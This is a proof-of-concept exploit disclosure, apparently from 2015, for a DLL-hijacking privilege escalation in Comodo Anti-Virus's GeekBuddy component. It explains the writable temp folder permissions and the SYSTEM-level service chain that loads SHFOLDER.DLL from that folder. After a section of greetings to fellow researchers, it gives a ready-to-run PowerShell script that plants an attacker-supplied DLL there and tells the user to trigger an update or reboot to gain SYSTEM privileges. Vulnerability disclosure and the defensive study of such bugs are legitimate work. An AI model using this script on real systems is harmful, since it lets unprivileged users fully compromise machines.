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- SHFolder.DLL Local Privilege Elevation Exploit for Comodo Anti-Virus GeekBuddy Component by @Laughing_Mantis (Greg Linares)
- Since it took 146 days to fix a DLL Hijack issue I decided to drop this PoC:
- ###Technical Geeky Stuff###
- GeekBuddy stores several helper applications within the C:\ProgramData\Comodo\lps4\temp folder.
- These binaries are individual components of the Comodo Security Suite and are executed whenever
- their related function is performed, updated, or uninstalled.
- The directory listing is as follows:
- 10/06/2015 12:08 AM <DIR> .
- 10/06/2015 12:08 AM <DIR> ..
- 10/02/2015 10:43 PM 27 download.cfg
- 10/02/2015 10:47 PM 637,864 setup_clps_application_vulnerability_monitor_release-4.10.307677.9.exe
- 10/02/2015 10:44 PM 2,196,272 setup_clps_autoruns_manager_api_release-4.14.330616.6.exe
- 10/02/2015 10:44 PM 547,088 setup_clps_boot_time_monitor_release-4.12.315371.9.exe
- 10/06/2015 12:07 AM 1,014,024 setup_clps_browser_addons_api_release-4.0.292287.4.exe
- 10/02/2015 10:44 PM 554,240 setup_clps_browser_addons_monitor_release-4.12.315370.6.exe
- 10/06/2015 12:06 AM 950,864 setup_clps_client_transaction_release-4.19.365037.89.exe
- 10/06/2015 12:08 AM 563,896 setup_clps_cross_selling_installer_monitor_release-4.12.318569.13.exe
- 10/02/2015 10:43 PM 768,032 setup_clps_cspm_alert_monitor_release-4.19.360508.5.exe
- 10/06/2015 12:08 AM 581,432 setup_clps_immaturely_closed_sessions_monitor_release-4.21.366534.6.exe
- 10/02/2015 10:47 PM 459,432 setup_clps_memory_monitor_release-4.10.301764.3.exe
- 10/02/2015 10:46 PM 1,152,480 setup_clps_system_cleaner_api_release-4.2.292287.3.exe
- 10/06/2015 12:07 AM 1,989,272 setup_clps_system_cleaner_monitor_release-4.12.317464.8.exe
- 10/06/2015 12:07 AM 648,912 setup_clps_windows_event_monitor_release-4.19.362032.8.exe
- 10/02/2015 10:43 PM 1 survey_version.txt
- 10/06/2015 12:05 AM <DIR> updates
- The C:\ProgramData\Comodo\lps4\temp\ folder has the following permission configuration:
- C:\ProgramData\Comodo\lps4\temp NT AUTHORITY\SYSTEM:(OI)(CI)(ID)F
- BUILTIN\Administrators:(OI)(CI)(ID)F
- CREATOR OWNER:(OI)(CI)(IO)(ID)F
- BUILTIN\Users:(OI)(CI)(ID)R
- BUILTIN\Users:(CI)(ID)(special access:)
- FILE_WRITE_DATA
- FILE_APPEND_DATA
- FILE_WRITE_EA
- FILE_WRITE_ATTRIBUTES
- Notice how the folder allows Users to have FILE_WRITE_DATA and FILE_WRITE_EA access. This allows
- non-administrator users the ability to create files in the directory but not delete or modify
- existing files.
- Comodo's main service engine is controlled by the SYSTEM service Launcher-Service.exe which resides
- in the C:\Program Files (x86)\Common Files\COMODO\ folder. This service is auto launched by the
- registry key HKLM\System\CurrentControlSet\Services\CLPSLauncher
- This binary will then launch Unit_Manager.exe in the C:\Program Files\COMODO\GeekBuddy with SYSTEM
- level privielges. This binary in turn then launches the binary C:\Program Files\COMODO\GeekBuddy\unit.exe
- to handle each sub process in the C:\ProgramData\Comodo\lps4\temp\ folder.
- During client connections to update servers and Geek Buddy executions the unit.exe binary will
- launch the binary setup_clps_client_transaction_release-4.19.365037.89.exe. This setup binary has
- hardcoded DLL loading procedures to look for SHFOLDER.DLL in the current directory which it is
- executed from.
- .data:00409240 dd offset aShfolder ; "SHFOLDER"
- .data:00409244 dd offset aShgetfolderpat ; "SHGetFolderPathA"
- During this delay load procedure the exe will load SHFOLDER.DLL from its local directory before
- looking in the other PATHS variables.
- By planting a malicious SHFOLDER.DLL in the C:\ProgramData\Comodo\lps4\temp\ and triggering an
- update or client connection to secure servers (which occurs automatically at user login) a user can
- elevate their privileges to SYSTEM and compromise the system fully.
- ######### GREETZ ######################################################################################
- 1st off all my new homies in the Vectra Networks Research Team - you guys are seriously legit mad #respect to everyone here. #Humbled
- @taviso - keep killing it and thanks for being an inspiration
- @bill_billbil - sup girl chicken rico n chill
- @tacticalRCE - Its no 100 mile rides but will miss all the good times. C-ya around mang.
- @hellNBak_ - drop tehm greetz like its 2003
- @hacksforpancakes - make plans for other NullCon in 2016 ;)
- @jduck - we gonna juke some more toyotas next time you come visit
- @hdmoore - good luck with your ventures good sir
- @jsoo - dont give up good sir - you're doing awesome
- @thegrugq - when i grow up i hope im half as wise as you good sir
- @daveaitel - Triangular Anus logos are the best
- @da_667 - AYYYYYYYYYYYYYY LMAO
- @bonovoxly - Clever Girls Wear Pink on Wednesdays
- Derek Soeder - Respect to you brother, keep on being awesome
- Benny 29A - next time im in CZ lets get beers, im buying
- Yuji Ukai - #RESPECT to everything you have ever done and will ever do. #Ninja
- Sizzop - for fixing my greetz
- #########################################################################################################
- #>
- Param
- (
- [Parameter(ValueFromPipelineByPropertyName = $true)]
- [string]$DLL = ""
- )
- if (!(Test-Path $DLL))
- {
- throw "Fatal Error: The specified file: $DLL does not exist."
- }
- Copy-Item -Path $DLL -Destination "C:\ProgramData\Comodo\lps4\temp\SHFolder.dll" -Force
- Write-Host "Copying $DLL to the Comodo AV GeekBuddy's insecure temp folder as SHFolder.dll" -ForegroundColor Red
- [void][System.Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms")
- $objNotifyIcon = New-Object System.Windows.Forms.NotifyIcon
- $MyPath = Get-Process -id $pid | Select-Object -ExpandProperty Path
- $objNotifyIcon.Icon = [System.Drawing.Icon]::ExtractAssociatedIcon($MyPath)
- $objNotifyIcon.BalloonTipIcon = "Info"
- $objNotifyIcon.BalloonTipText = "Hijacked SHFolder.DLL with $DLL.
- Now manually update Comodo Anti-Virus using the GUI or Reboot the system to gain SYSTEM Level Privileges"
- $objNotifyIcon.BalloonTipTitle = "@Laughing_Mantis"
- $objNotifyIcon.Visible = $True
- $objNotifyIcon.ShowBalloonTip(8000)
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